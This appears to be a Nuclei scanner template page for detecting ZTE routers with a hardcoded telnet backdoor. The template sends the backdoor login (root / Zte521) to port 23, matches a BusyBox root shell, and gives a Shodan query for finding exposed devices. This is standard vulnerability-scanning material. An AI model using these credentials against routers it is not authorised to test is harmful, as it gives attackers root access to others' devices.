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ZTE Router Panel - Detect

ID: backdoored-zte

Severity: critical

Author: its0x08

Tags: edb,network,zte,telnet,backdoor,router,tcp

Multiple ZTE router panels were detected. These routers have a telnet-hardcoded backdoor account that spawns root shell.

id: backdoored-zte
info:
name: ZTE Router Panel - Detect
author: its0x08
severity: critical
description: |
Multiple ZTE router panels were detected. These routers have a telnet-hardcoded backdoor account that spawns root shell.
reference:
- https://www.exploit-db.com/ghdb/7179
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-912
metadata:
verified: true
max-request: 1
shodan-query: http.html:"ZTE Corporation"
tags: edb,network,zte,telnet,backdoor,router,tcp
tcp:
- host:
- "{{Hostname}}"
port: 23
inputs:
- data: "root\r\n"
- data: "Zte521\r\n\r\n"
read: 1024
matchers:
- type: word
words:
- "BusyBox"
extractors:
- type: regex
regex:
- '[A-Z]{1,}[0-9]{3,4}'
# digest: 4a0a004730450220240bbf4f1320bd21c5b220db8ea127413ce239b51366dfc4ab4ecff2a76728a80221009d786c0818c5b225d521e5123f434b0d58ea5c85d4d8632e14ca94656cde1ff1:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "network/backdoor/backdoored-zte.yaml"

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